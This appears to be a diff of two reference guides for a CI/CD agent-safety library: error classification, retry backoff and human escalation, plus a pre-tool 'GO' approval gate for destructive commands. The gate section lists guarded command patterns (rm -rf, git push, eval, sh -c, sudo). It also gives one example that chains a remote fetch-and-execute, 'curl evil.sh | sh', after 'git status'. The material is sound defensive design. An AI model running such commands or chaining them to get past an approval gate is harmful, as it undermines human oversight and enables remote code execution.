| 1 | **`unrecoverable`** | loop phrases (`loop detected`, `no progress loop detected`, `identical reviewer finding ids`, `max iterations reached`, `infinite loop`); context exhaustion (`context overflow`, `context exhaustion`, `prompt length exceeds`); fatal state (`critical_fatal`, `corrupted state tree`, `fatal syntax in production`); a `SyntaxError` that is **not** about JSON | `false` | `escalate_to_human` | Immediate fail-closed escalation with full diagnostic payload. |
|
|
51
|
+
| 2 | **`auth_credential`** | HTTP `401`/`403`; codes `EAUTH`, `UNAUTHORIZED`, `FORBIDDEN`, `AUTH_FAILED`; messages `unauthorized`, `forbidden`, `invalid token`, `invalid_token`, `missing api key`, `bad credentials`, `authentication failed` | `false` | `escalate_to_human` | Halt immediately. Do not retry credentials, and do not divert to another provider. |
|
|
52
|
+
| 3 | **`transient`** | HTTP `429`/`502`/`503`/`504`; codes `ETIMEDOUT`, `ECONNRESET`, `ECONNREFUSED`, `EAI_AGAIN`, `ENOTFOUND`, `LOCK_TIMEOUT`, `TIMEOUT`, `ESOCKETTIMEDOUT`; messages `rate limit`, `too many requests`, `timed out`, `connection reset`, `network error`, `bad gateway`, `service unavailable`, `lock acquisition timed out` | `true` | `backoff_retry` | Full Jitter backoff up to `maxRetries`; a `Retry-After` sets the floor. |
|
|
53
|
+
| 4 | **`tool_level_fault`** | MCP/tool crash, non-zero exit, schema argument mismatch, malformed JSON output | `true`, unless `context.hasFallback === false` | `fallback_route` (or `escalate_to_human` with no fallback) | Route to the registered secondary provider. |
|
|
54
|
+
| 5 | **anything unrecognised** | terminal fall-through | `true` (fails open) | `fallback_route` | See §7 — this default is the opposite of the triage classifier's, deliberately. |
|
|
55
|
+
|
|
56
|
+
`EACCES` is **not** an auth signature here despite being a permission error; unless its message matches one of the phrases above it falls through to row 5. `ENOENT` is not a signature at any row.
|
|
57
|
+
|
|
58
|
+
---
|
|
59
|
+
|
|
60
|
+
## 3. Full Jitter Exponential Backoff Algorithm
|
|
61
|
+
|
|
62
|
+
Fixed delay retries and naive exponential backoffs create the **thundering herd problem**, where multiple concurrent agents or threads retry against a recovering service simultaneously, re-saturating the endpoint.
|
|
63
|
+
|
|
64
|
+
### Mathematical Formulation
|
|
65
|
+
The BDB Engine implements AWS-standard **Full Jitter**:
|
|
66
|
+
|
|
67
|
+
$$T_{\text{wait}} = \text{random}(0, \, \min(T_{\max}, \, T_{\text{base}} \cdot 2^{\text{attempt}}))$$
|
|
68
|
+
|
|
69
|
+
Where:
|
|
70
|
+
- $T_{\text{base}}$: Base initial backoff duration (`baseDelayMs`, **default `100 ms`**)
|
|
71
|
+
- $T_{\max}$: Ceiling duration cap (`maxDelayMs`, default `10,000 ms`)
|
|
72
|
+
- $\text{attempt}$: Zero-indexed retry attempt count ($0, 1, 2, \dots$)
|
|
73
|
+
- $\text{random}(0, X)$: Uniformly distributed pseudo-random value in $[0, X)$, floored to an integer
|
|
74
|
+
|
|
75
|
+
Three behaviours of `calculateBackoff` that the formula does not show:
|
|
76
|
+
- It returns **`-1`** once `attempt >= maxRetries` (default `3`) — a termination signal, not a delay. With the defaults, only attempts 0, 1 and 2 produce a wait.
|
|
77
|
+
- `jitter: false` disables the randomisation and returns the clamped exponential window directly.
|
|
78
|
+
- A parsed `Retry-After` acts as a **floor**, not a replacement: `delay = max(jitteredDelay, retryAfterMs)`. Per RFC 9110 a numeric `Retry-After` is delta-seconds unconditionally — there is no magnitude at which it becomes milliseconds — and the parsed value is clamped to `86,400,000 ms` so a broken or hostile server cannot pin a CI job indefinitely.
|
|
79
|
+
|
|
80
|
+
### Concrete Progression Example, with $T_{\text{base}}$ set explicitly to $500\text{ ms}$, $T_{\max} = 10,000\text{ ms}$
|
|
81
|
+
|
|
82
|
+
| Attempt | Exponential Window ($T_{\text{base}} \cdot 2^{\text{attempt}}$) | Clamped Ceiling | Jitter Range | Expected Average Wait |
|
|
83
|
+
|:-------:|:---------------------------------------------------------------:|:---------------:|:------------:|:---------------------:|
|
|
84
|
+
| 0 | $500 \cdot 2^0 = 500\text{ ms}$ | $500\text{ ms}$ | $0\text{ to }500\text{ ms}$ | $250\text{ ms}$ |
|
|
85
|
+
| 1 | $500 \cdot 2^1 = 1,000\text{ ms}$ | $1,000\text{ ms}$ | $0\text{ to }1,000\text{ ms}$ | $500\text{ ms}$ |
|
|
86
|
+
| 2 | $500 \cdot 2^2 = 2,000\text{ ms}$ | $2,000\text{ ms}$ | $0\text{ to }2,000\text{ ms}$ | $1,000\text{ ms}$ |
|
|
87
|
+
| 3 | $500 \cdot 2^3 = 4,000\text{ ms}$ | $4,000\text{ ms}$ | $0\text{ to }4,000\text{ ms}$ | $2,000\text{ ms}$ |
|
|
88
|
+
| 4 | $500 \cdot 2^4 = 8,000\text{ ms}$ | $8,000\text{ ms}$ | $0\text{ to }8,000\text{ ms}$ | $4,000\text{ ms}$ |
|
|
89
|
+
| 5+ | $500 \cdot 2^5 = 16,000\text{ ms}$ | $10,000\text{ ms}$ (Capped) | $0\text{ to }10,000\text{ ms}$ | $5,000\text{ ms}$ |
|
|
90
|
+
|
|
91
|
+
The table shows the clamping arithmetic only. With the default `maxRetries: 3`, attempts 3 and above never reach it — they return `-1`. The exponent is additionally capped at $2^{30}$ so a large attempt number cannot overflow to `Infinity`.
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## 4. Secondary Tool Fallback Routing
|
|
96
|
+
|
|
97
|
+
When a primary tool experiences a `tool_level_fault` (e.g. MCP bridge disconnect, malformed response payload), the recovery engine routes execution to a secondary fallback provider without interrupting the agent workflow.
|
|
98
|
+
|
|
99
|
+
### Architecture
|
|
100
|
+
1. **Fallback Registry** (`ToolRouter`): Maps primary tool identifiers to registered fallback tool **names** (strings, not functions).
|
|
101
|
+
- Example: `mcp_git_commit` → `cli_git_commit`
|
|
102
|
+
- Example: `mcp_file_search` → `find_by_name`
|
|
103
|
+
2. **Execution Diversion**: `executeWithFallback` calls your `execute(toolName)` a second time with the fallback name. The caller owns the dispatch; the router only decides *whether* and *to what*.
|
|
104
|
+
3. **Audit Logging**: Every decision is appended to a JSONL audit file — `auditFilePath` if supplied, otherwise `diversions.jsonl` in the process working directory.
|
|
105
|
+
|
|
106
|
+
### The classification is a safety signal, not a log label
|
|
107
|
+
|
|
108
|
+
`executeWithFallback` refuses to divert when `classifyError` returns `canRetry: false`. An `auth_credential` rejection must not be re-sent to a second provider — that is a data-egress decision — and an `unrecoverable` fault will fail there too. The suppression is still audited (`status: "escalated"`) and the **primary** error is rethrown. With no fallback registered at all, the primary error is rethrown without an audit entry.
|
|
109
|
+
|
|
110
|
+
### Diversion Record Schema
|
|
111
|
+
Fields are exactly `DiversionRecord`. There is no `success` or `durationMs` field; the outcome is carried by `status`.
|
|
112
|
+
```json
|
|
113
|
+
{
|
|
114
|
+
"timestamp": "2026-09-05T14:40:00.123Z",
|
|
115
|
+
"originalTool": "mcp_aftereffects_applyEffect",
|
|
116
|
+
"fallbackTool": "cli_ae_script_runner",
|
|
117
|
+
"errorCategory": "tool_level_fault",
|
|
118
|
+
"reason": "Connection reset on MCP socket port 9080",
|
|
119
|
+
"status": "diverted"
|
|
120
|
+
}
|
|
121
|
+
```
|
|
122
|
+
`status` is one of `diverted` (fallback succeeded), `exhausted` (both failed — the **fallback** error is rethrown), or `escalated` (diversion suppressed by `canRetry: false`). `eventId`, `agentId` and `attempt` are optional and only written when supplied.
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 5. Anti-Hallucination Escalation Protocol
|
|
127
|
+
|
|
128
|
+
### The Zero-Hallucination Mandate
|
|
129
|
+
When retries are exhausted or when an error is classified as `unrecoverable` or `auth_credential`, the system must **NEVER**:
|
|
130
|
+
- Fabricate synthetic data to "keep going".
|
|
131
|
+
- Invent simulated success responses from tools.
|
|
132
|
+
- Pretend an API call succeeded when it returned an error.
|
|
133
|
+
|
|
134
|
+
### Structured Escalation Payload
|
|
135
|
+
`escalateToHuman(error, context)` **returns** this payload. It does not write it anywhere — persisting it to `production_artifacts/state.json` is the caller's job. The shape is exactly `EscalationPayload`:
|
|
136
|
+
|
|
137
|
+
```json
|
|
138
|
+
{
|
|
139
|
+
"escalationType": "HUMAN_REVIEW_REQUIRED",
|
|
140
|
+
"phase": "escalated",
|
|
141
|
+
"needs_human": true,
|
|
142
|
+
"timestamp": "2026-09-05T14:52:11.004Z",
|
|
143
|
+
"classification": "unrecoverable",
|
|
144
|
+
"primaryFailure": {
|
|
145
|
+
"tool": "fetch_database_schema",
|
|
146
|
+
"errorCode": "ECONNREFUSED",
|
|
147
|
+
"message": "Connection refused at 10.0.0.4:5432",
|
|
148
|
+
"attempts": 4
|
|
149
|
+
},
|
|
150
|
+
"impactedResource": "production_artifacts/state.json",
|
|
151
|
+
"remediationOptions": [
|
|
152
|
+
"Inspect the raw stack trace and correct syntax or semantic errors in source code.",
|
|
153
|
+
"Verify database schema definitions and migration scripts.",
|
|
154
|
+
"Revert recent uncommitted modifications to restore known-healthy state."
|
|
155
|
+
],
|
|
156
|
+
"antiHallucinationAssertion": "Fail-closed verification: No synthetic or hallucinated remediation applied. Execution halted awaiting explicit human review and authorization."
|
|
157
|
+
}
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
`remediationOptions` is a fixed list selected by `classification` (with two message-keyword special cases for loop and context/token exhaustion) — it is a checklist, not a diagnosis of this specific failure. `tool` is read from `context.tool` or `context.originalTool`, `attempts` from `context.attempts` (default `1`), `impactedResource` from `context.impactedResource` or `context.resource`; `fallbacksAttempted` and `impactedResource` are omitted entirely when absent. `createEscalationPayload` is an alias for the same function.
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## 6. TypeScript Implementation Example
|
|
165
|
+
|
|
166
|
+
```typescript
|
|
167
|
+
import {
|
|
168
|
+
classifyError,
|
|
169
|
+
calculateBackoff,
|
|
170
|
+
withRetry,
|
|
171
|
+
ToolRouter
|
|
172
|
+
} from 'bdb-cicd-resilience/recovery/index.js';
|
|
173
|
+
|
|
174
|
+
// Setup the fallback registry: primary tool name -> fallback tool NAME
|
|
175
|
+
const router = new ToolRouter({ auditFilePath: 'production_artifacts/diversions.jsonl' });
|
|
176
|
+
router.registerFallback('mcp_fetch', 'cli_fetch');
|
|
177
|
+
|
|
178
|
+
async function callResilientTool(toolName: string, args: Record<string, unknown>) {
|
|
179
|
+
return await withRetry(
|
|
180
|
+
// router.execute passes the tool name to invoke; on a retryable primary
|
|
181
|
+
// failure it calls the same function again with the fallback name.
|
|
182
|
+
() => router.execute(toolName, (name) => invokeTool(name, args)),
|
|
183
|
+
{ maxRetries: 3, baseDelayMs: 500, maxDelayMs: 10000 }
|
|
184
|
+
);
|
|
185
|
+
}
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
`withRetry` classifies each caught error itself and rethrows immediately on `canRetry: false`, so an auth failure is not retried three times before escalating. `calculateBackoff(attempt, options, retryAfterMs?)` is exported separately for callers driving their own loop, and `BackoffEngine` wraps it with fixed options.
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
## 7. Opposite unknown-error defaults, and why they stay opposite
|
|
193
|
+
|
|
194
|
+
`recovery/classifier.ts` and `triage/classifier.ts` both have a terminal fall-through for input they do not recognise, and the two point in **opposite directions**. This is deliberate, and changing either to match the other makes one of the two modules worse.
|
|
195
|
+
|
|
196
|
+
| | `classifyError` (recovery) | `classifyDiagnostic` (triage) |
|
|
197
|
+
|---|---|---|
|
|
198
|
+
| Input | a live operational error from one in-flight call | a finished test or build log |
|
|
199
|
+
| Unknown default | `tool_level_fault`, `canRetry: true` — **fails open** | `deterministic_code_regression`, `canAutoRetry: false` — **fails closed** |
|
|
200
|
+
| Cost of being wrong | one extra bounded attempt | an unbounded CI loop re-running the pipeline against a real regression |
|
|
201
|
+
|
|
202
|
+
**The retry budget is what makes the difference.** The recovery path has one — `withRetry`'s `maxRetries`, the router's single fallback hop — so an extra attempt is bounded and usually succeeds; failing closed there would page a human for every unrecognised transient. The triage path has no budget at all: a wrong "retryable" on a deterministic regression loops forever, while failing closed costs one human look. Consistently: when `context.hasFallback === false` the recovery path has no budget left either, and it escalates too.
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 8. Constraint: retries assume idempotency
|
|
207
|
+
|
|
208
|
+
`withRetry` and `executeWithFallback` re-execute the operation you hand them. **They are safe only around idempotent operations.** A retried non-idempotent call — posting a PR comment, dispatching a workflow, triggering a deployment — can take effect more than once, and a diversion to a second provider can take effect on *both*. Nothing in this library detects or prevents that.
|
|
209
|
+
|
|
210
|
+
No `idempotent` flag is offered, deliberately: with no real call sites it would be set to `true` by everyone by default and would document nothing. The real design belongs where the CI call sites exist, in the AOS integration cycle. Until then, the constraint is the caller's to honour.
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
# 🚦 Reference Guide: Two-Phase Pre-Tool GO Gate Protocol
|
|
2
|
+
|
|
3
|
+
**Pattern**: Pattern 4 — Pre-Tool Safety Interlock & Human Authorization
|
|
4
|
+
**Module**: `bdb-cicd-resilience/triage` (`gate.ts`)
|
|
5
|
+
**Authoritative Source**: BDB Agent OS Safety Specification & `~/.claude/hooks/go-gate.mjs`
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 1. Overview & Problem Statement
|
|
10
|
+
|
|
11
|
+
Autonomous agents possessing terminal and filesystem capabilities can execute irreversible, high-consequence operations (e.g. `git push origin main`, `npm publish`, `rm -rf /`, or modifying production databases). In unhardened setups, agents may misinterpret ambiguous conversational cues (such as *"looks good, start updating"* or *"proceed"*) as blanket authorization for destructive actions.
|
|
12
|
+
|
|
13
|
+
The BDB Two-Phase GO Gate is an absolute safety guardrail that programmatically enforces a strict separation between **Planning** and **Execution**, requiring an explicit, unadulterated human approval token—the literal single word `"GO"`—before unlocking guarded operations.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## 2. Two-Phase Lifecycle & Gate States
|
|
18
|
+
|
|
19
|
+
```
|
|
20
|
+
[ User Request / Plan / Audit / Cycle Start ]
|
|
21
|
+
│
|
|
22
|
+
▼
|
|
23
|
+
┌───────────────────────────┐
|
|
24
|
+
│ Phase 1: Planning Mode │ ◀── STRICT READ-ONLY MODE
|
|
25
|
+
│ (Analysis, Specs, Probes, │ Allowed: view_file, grep_search,
|
|
26
|
+
│ Typechecks, Test Runs) │ tsc --noEmit, read-only commands
|
|
27
|
+
└─────────────┬─────────────┘
|
|
28
|
+
│ Plan Complete / Quality Gate Passed
|
|
29
|
+
▼
|
|
30
|
+
┌───────────────────────────┐
|
|
31
|
+
│ Human Approval Gate │ ◀── Prompt: "Antworte mit GO..."
|
|
32
|
+
└─────────────┬─────────────┘
|
|
33
|
+
│
|
|
34
|
+
┌──────────────┴──────────────┐
|
|
35
|
+
│ Transcript Scanner Analysis │
|
|
36
|
+
└──────────────┬──────────────┘
|
|
37
|
+
│
|
|
38
|
+
┌─────────────────────────┴─────────────────────────┐
|
|
39
|
+
▼ ▼
|
|
40
|
+
[ Last Human Msg != "GO" ] [ Last Human Msg == "GO" ]
|
|
41
|
+
│ │
|
|
42
|
+
▼ ▼
|
|
43
|
+
[ GATE CLOSED ] [ GATE OPEN ]
|
|
44
|
+
- Execution Blocked - Guarded Tools Unlocked
|
|
45
|
+
- Exit Code 2 (caller's) - Caller appends its own
|
|
46
|
+
- Zero Mutating Actions state.approvals entry (§5)
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## 3. Guarded Operations & Hook Interception
|
|
52
|
+
|
|
53
|
+
The gate operates as a `PreToolUse` hook (implemented via `~/.claude/hooks/go-gate.mjs` and `isGuardedCommand` / `verifyGoGate` in TypeScript). `isGuardedCommand` is **an allowlist, not a blocklist**, and it is evaluated in a fixed order. Only step 3 can ever return "not guarded".
|
|
54
|
+
|
|
55
|
+
**1. Unconditional guard set, matched against the raw string, before any exemption is reachable.** These are not anchored to the start of the command, so a chained command is caught wherever the dangerous part sits:
|
|
56
|
+
|
|
57
|
+
- **Remote Push**: `/\bgit\s+push\b/i`
|
|
58
|
+
- **Package Publishing**: `/\bnpm\s+publish\b/i`, `/\byarn\s+publish\b/i`, `/\bpnpm\s+publish\b/i`
|
|
59
|
+
- **Commit**: `/\bgit\s+commit\b/i`
|
|
60
|
+
- **Deployment / release**: `/\bdeploy\b/i`, `/\brelease\b/i`
|
|
61
|
+
- **Recursive Deletion**: `/\brm\s+-rf\b/i`
|
|
62
|
+
- **Indirection and metacharacter markers**: `$(`, a backtick, `${`, `<(`, any `>` (covers `>`, `>>`, `>(`), the words `eval`, `exec`, `source`, `xargs`, `env`, `sudo`, `nohup`, an `sh|bash|zsh|dash|ksh -c` invocation, and a dot-source in command position.
|
|
63
|
+
|
|
64
|
+
**2. Segment split.** The remainder is split on `;`, `&&`, `||`, `|`, `&`, and newline.
|
|
65
|
+
|
|
66
|
+
**3. Whole-command allowlist.** The command is exempt only if **every** segment matches one read-only pattern anchored at *both* ends over the metacharacter-free argument charset `[-\w./=]`. The allowlist is exactly: `ls`, `pwd`, `cat`, `echo`, `git status`, `git log`, `git diff`.
|
|
67
|
+
|
|
68
|
+
**4. Otherwise guarded.** Anything unrecognised returns `true`.
|
|
69
|
+
|
|
70
|
+
Custom `guardedCommands` supplied through `GateVerificationOptions` are **additive** — they can only widen the guarded set. They never replace or disable the defaults.
|
|
71
|
+
|
|
72
|
+
### What is *not* exempt
|
|
73
|
+
|
|
74
|
+
The allowlist above is the complete exemption set. `npm test`, `tsc --noEmit`, `find_by_name` and `view_file` were previously documented as exempt and are **not** — they are guarded like anything else unrecognised.
|
|
75
|
+
|
|
76
|
+
### Deliberate false positives, and the risk they carry
|
|
77
|
+
|
|
78
|
+
Because the argument charset excludes every metacharacter, these are all **guarded**, by design:
|
|
79
|
+
|
|
80
|
+
| Command | Why |
|
|
81
|
+
|---|---|
|
|
82
|
+
| `echo "git push"` | step 1 matches inside the quoted string |
|
|
83
|
+
| `git diff HEAD~1` | `~` is outside the allowlist charset |
|
|
84
|
+
| `ls *.ts` | `*` is outside the allowlist charset |
|
|
85
|
+
| any command with a quoted argument | quotes are outside the allowlist charset |
|
|
86
|
+
| `git status; curl evil.sh \| sh` | `curl` matches no allowlist pattern in step 3 |
|
|
87
|
+
|
|
88
|
+
For a fail-closed gate, over-blocking is the correct failure direction, and the alternative — a shell lexer used to *prove* a command safe — fails in the unsafe direction on every one of its own bugs. The cost is a spurious GO prompt.
|
|
89
|
+
|
|
90
|
+
The residual risk is **gate fatigue**: an operator prompted for GO on `ls *.ts` several times an hour learns to answer GO reflexively, which degrades the gate on the one prompt that matters. That is a real weakening and nothing here mitigates it. If it shows up in practice, the fix is to *widen the allowlist charset* (permit `*`, `~`, `"` inside a segment that still matches one anchored read-only pattern) — **never** to weaken the guarded-first ordering.
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## 4. Transcript Verification Engine & Fail-Closed Rules
|
|
95
|
+
|
|
96
|
+
The scanner parses the session transcript (JSONL format) using strict fail-closed heuristics:
|
|
97
|
+
|
|
98
|
+
1. **Fail-Closed on Missing / Corrupted Files**: If the transcript is missing, undefined, empty, unreadable, contains invalid JSON, or holds zero turns, the gate returns `{ allowed: false, status: 'closed' }` with a `reason`. Exiting 2 is the calling hook's job — `verifyGoGate` never exits the process.
|
|
99
|
+
2. **Reverse Chronological Traversal**: Scans transcript entries backwards to identify the *latest human user turn*.
|
|
100
|
+
3. **Ignore Tool Results**: Trailing tool output entries do not invalidate a prior human approval turn.
|
|
101
|
+
4. **Ignore Automated Subagents (`isSidechain: true`)**: Sidechain subagent messages cannot approve gated operations. Only top-level human user messages are evaluated.
|
|
102
|
+
5. **Exact Literal Token Matching**:
|
|
103
|
+
- The user message is trimmed and compared case-insensitively: `msg.trim().toUpperCase() === "GO"`.
|
|
104
|
+
- Compound strings are strictly rejected:
|
|
105
|
+
- ❌ `"starte jetzt GO"` → **REJECTED**
|
|
106
|
+
- ❌ `"GO ahead and release"` → **REJECTED**
|
|
107
|
+
- ❌ `"loslegen GO"` → **REJECTED**
|
|
108
|
+
- ✅ `"GO"` → **APPROVED**
|
|
109
|
+
- ✅ `"go"` → **APPROVED**
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## 5. `state.approvals` Audit Ledger — caller's responsibility
|
|
114
|
+
|
|
115
|
+
**This library does not write the ledger.** Nothing in `src/` reads or writes `approvals`; `verifyGoGate` and `checkPreToolGate` are pure functions that return a `GateCheckResult` (`allowed`, `status`, `reason`, `lastHumanToken`) and touch no state file. The format below is the convention a caller is expected to append to `production_artifacts/state.json` after acting on an `allowed: true` result:
|
|
116
|
+
|
|
117
|
+
```json
|
|
118
|
+
{
|
|
119
|
+
"run_id": "run-2026-09-05-01",
|
|
120
|
+
"phase": "ship",
|
|
121
|
+
"approvals": [
|
|
122
|
+
{
|
|
123
|
+
"node": "shipping",
|
|
124
|
+
"token": "GO",
|
|
125
|
+
"timestamp": "2026-09-05T14:48:22.105Z",
|
|
126
|
+
"action": "git push origin main"
|
|
127
|
+
}
|
|
128
|
+
]
|
|
129
|
+
}
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
---
|
|
133
|
+
|
|
134
|
+
## 6. TypeScript API Usage Example
|
|
135
|
+
|
|
136
|
+
```typescript
|
|
137
|
+
import { verifyGoGate, checkPreToolGate } from 'bdb-cicd-resilience/triage/index.js';
|
|
138
|
+
|
|
139
|
+
// PreTool Hook Implementation
|
|
140
|
+
async function onPreToolUse(command: string, transcriptPath: string) {
|
|
141
|
+
const result = checkPreToolGate(command, transcriptPath);
|
|
142
|
+
|
|
143
|
+
if (!result.allowed) {
|
|
144
|
+
console.error(`🛑 PRE-TOOL GATE BLOCKED: ${result.reason}`);
|
|
145
|
+
console.error('Antworte mit GO, um die Ausführung zu starten.');
|
|
146
|
+
process.exit(2);
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
console.log(`✅ Pre-tool gate verified (${result.lastHumanToken}). Proceeding with command: ${command}`);
|
|
150
|
+
}
|
|
151
|
+
```
|